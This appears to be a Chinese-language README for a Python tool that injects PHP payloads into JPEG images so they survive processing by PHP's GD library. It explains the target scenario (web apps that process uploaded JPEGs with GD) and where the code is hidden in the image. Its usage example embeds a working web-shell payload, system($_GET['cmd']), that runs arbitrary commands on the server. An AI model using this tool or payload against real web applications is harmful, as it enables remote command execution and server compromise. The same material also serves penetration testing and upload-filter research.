php-jpeg-injector

将php载荷注入jpeg图片中。相关帖子：this post

使用场景

你有一个通过PHP的GD图形库处理jpeg图片的web应用程序。

描述

此脚本将PHP代码注入到指定的jpeg图片中。如果web应用程序解释该图片，它将执行载荷。请确保输入的jpeg未被压缩！

用法

python3 gd-jpeg.py [JPEG] [PAYLOAD] [OUTPUT_JPEG]

例如：python3 gd-jpeg.py cat.jpeg '<?php system($_GET["cmd"]);?>' infected_cat.jpeg

工作原理

PHP代码被注入到扫描头之后的无用/垃圾（棕色）空间中：

新的被感染的jpeg会通过PHP的gd库处理。PHP解释注入到jpeg中的载荷并执行它。